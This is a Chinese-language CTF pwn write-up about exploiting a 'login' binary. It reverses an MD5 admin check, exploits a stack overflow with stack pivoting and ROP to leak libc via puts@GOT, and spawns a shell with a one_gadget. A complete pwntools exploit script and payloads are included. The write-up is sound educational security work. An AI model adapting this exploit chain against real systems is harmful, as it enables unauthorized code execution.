目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧
主要函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int sub_4018C7() { char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Please Sign-in"); putchar(62); read(0, s1, 0x20uLL); puts("Please input u Pass"); putchar(62); read(0, buf, 0x28uLL); if ( strncmp(s1, "admin", 5uLL) sub_401974(buf) ) { puts("Oh no"); exit(0); } puts("Sign-in Success"); return puts("BaileGeBai"); }
|
sub_401974实为一个md5加密与对比函数,它会将buf进行md5后与固定值对比
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| __int64 __fastcall sub_401974(const char *a1) { unsigned int v1; // eax char v3[96]; // [rsp+10h] [rbp-90h] BYREF __int64 v4[2]; // [rsp+70h] [rbp-30h] char v5[28]; // [rsp+80h] [rbp-20h] BYREF int i; // [rsp+9Ch] [rbp-4h]
v4[0] = 0xA7A5577A292F2321LL; v4[1] = 0xC31F804A0E4A8943LL; sub_4007F6(v3); v1 = strlen(a1); sub_400842(v3, a1, v1); sub_400990(v3, v5); for ( i = 0; i <= 15; ++i ) { if ( *(v4 + i) != v5[i] ) return 1LL; } return 0LL; }
|
从对比方法开始说起吧,v4数组即为固定的md5值,比对方法为逐比特位对比
1 2 3 4 5 6 7 8 9 10 11 12
| int main() { INT64 v4[2]; v4[0] = 0xA7A5577A292F2321; v4[1] = 0xC31F804A0E4A8943; BYTE k[16]; for (int i = 0; i < 16; i++) { k[i] = *((BYTE*)v4 + i); printf("%x", k[i]); } }//21232f297a57a5a743894ae4a801fc3
|
通过对比可以发现,这个得到的结果就是v4[0]与v4[1]按照比特位分别逆序后的拼接,底层的储存方式按照小端序而被IDA识别为代码中的整数
以及,我们可以通过一些查询得到该md5为‘admin’的md5值
那么只要我们输入两次admin,就能够顺利运行到loc_40195D处,便能够利用栈溢出了
1 2 3 4 5 6 7 8
| .text:000000000040195D loc_40195D: ; CODE XREF: sub_4018C7+80↑j .text:000000000040195D mov edi, offset aSignInSuccess ; "Sign-in Success" .text:0000000000401962 call _puts .text:0000000000401967 mov edi, offset aBailegebai ; "BaileGeBai" .text:000000000040196C call _puts .text:0000000000401971 nop .text:0000000000401972 leave .text:0000000000401973 retn
|
但这样还不够,程序调用的是read函数,有规定的读取上限
特殊的,第二个read函数的读取上限高于buf的界定值,产生溢出,正好覆盖RBP处的值
以及上一层在0x4018BF处调用该函数
1 2 3 4
| .text:00000000004018BF call sub_4018C7 .text:00000000004018C4 nop .text:00000000004018C5 leave .text:00000000004018C6 retn
|
当主要函数retn后,立刻进入第二次retn,存在栈迁移的可能
那么可以照如下方式构造payload
1 2 3 4 5 6
| pop_rdi=0x401ab3 puts=0x4018B5 puts_got=0x602028 name_addr=0x602400 payload1="admin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts) payload2="admin".ljust(8,'\x00')+'a'*24+p64(name_addr)
|
name_addr将会在执行
时将RBP覆盖,然后存在两层leave指令
当到达第二次leave指令,就相当于如下指令执行
1 2
| mov esp,ebp;esp=0x602400,ebp=0x602400 pop ebp ;esp=0x602408,ebp=0x602400
|
此时再执行retn指令,就会返回到 pop_rdi 处,并按照payload1的顺序执行下去造成库地址泄露(注意,我使用的puts地址将会让我返回到 puts=0x4018b5+8 处,籍此再次进入主要函数)
但第二次进入主要函数时候则不再像第一次那样容易了,因为这次的RBP与s1数组的位置很近,输入值将会造成覆盖(buf是从rbp-20h处开始的,而当我们再次到达第二个read的时候,rbp将会是0x602410,那么我们的输入值就会覆盖掉s1,导致常规的逐步构造无法成功)
1
| char buf[32]; // [rsp+0h] [rbp-20h] BYREF
|
但也有不需要那么多参数的方法来得到shell,这里可以用onegadget实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| a@ubuntu:~/Desktop/timu$ one_gadget ./libc.so.6 0x45226execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527aexecve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
也就是说,只要我们得到了库的基地址,就可以用一行跳转直接得到shell,如果只有一行的话,就不用担心覆盖问题了,因此exp可以这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context.log_level='debug'
p=process("./login") elf=ELF("./login") libc=elf.libc pop_rdi=0x401ab3 puts=0x4018B5 puts_got=0x602028 ret_addr=0x400641 name_addr=0x602400
payload1="admin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts) p.recvuntil('>') p.send(payload1) p.recvuntil('>') payload2="admin".ljust(8,'\x00')+'a'*24+p64(name_addr) p.send(payload2)
libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts'] print hex(libc_base)
payload3 = 'admin\x00\x00\x00'*3 +p64(0x4527a+libc_base)
p.send(payload3) p.recvuntil('>')
#payload = 'admin\x00\x00\x00'*4 + p64( name_addr + 0x18 ) payload4 = 'admin\x00\x00\x00'*4 + p64( 0x602500 ) p.send(payload4) p.interactive()
|
值得注意的是,当笔者通过gdb附加调试之后发现,这一轮的跳转中,我们只会返回到payload3中的 p64(0x4527a+libc_base) 地址,和payload4中的地址已经没用太大关系了,只要保证payload4能够让程序返回即可
但笔者还是在这里为payload4加上了一个地址
正如上面所说,我们只需要用到一个返回地址即可,那倘若我们让程序第三次返回到puts=0x4018b5+8 处,这一次,RBP就会是payload4中的地址了,那么这样就能进入第三轮输入,这一次就不会出现覆盖问题,就能够像第一步的操作那样,让程序返回到system函数,将‘/bin/sh’的地址pop rdi了
后话:
算是通过这一题学着怎么用gdb了,虽然用着还是很生涩,希望多做几题之后能渐渐熟练起来吧……不过多留心一下栈堆总是好的,用IDA动调的时候倒是很会看,一旦用起了gdb就容易忽视掉这些东西,还是要多留个心眼……
附一下参考的地址:
gdb查看指定地址内存内容:https://www.cnblogs.com/super119/archive/2011/03/26/1996125.html
[原创]pwn中one_gadget的使用技巧 :https://bbs.pediy.com/thread-261112.htm
gdb的基本命令:https://blog.csdn.net/qq_26399665/article/details/81165684
插画ID:90726137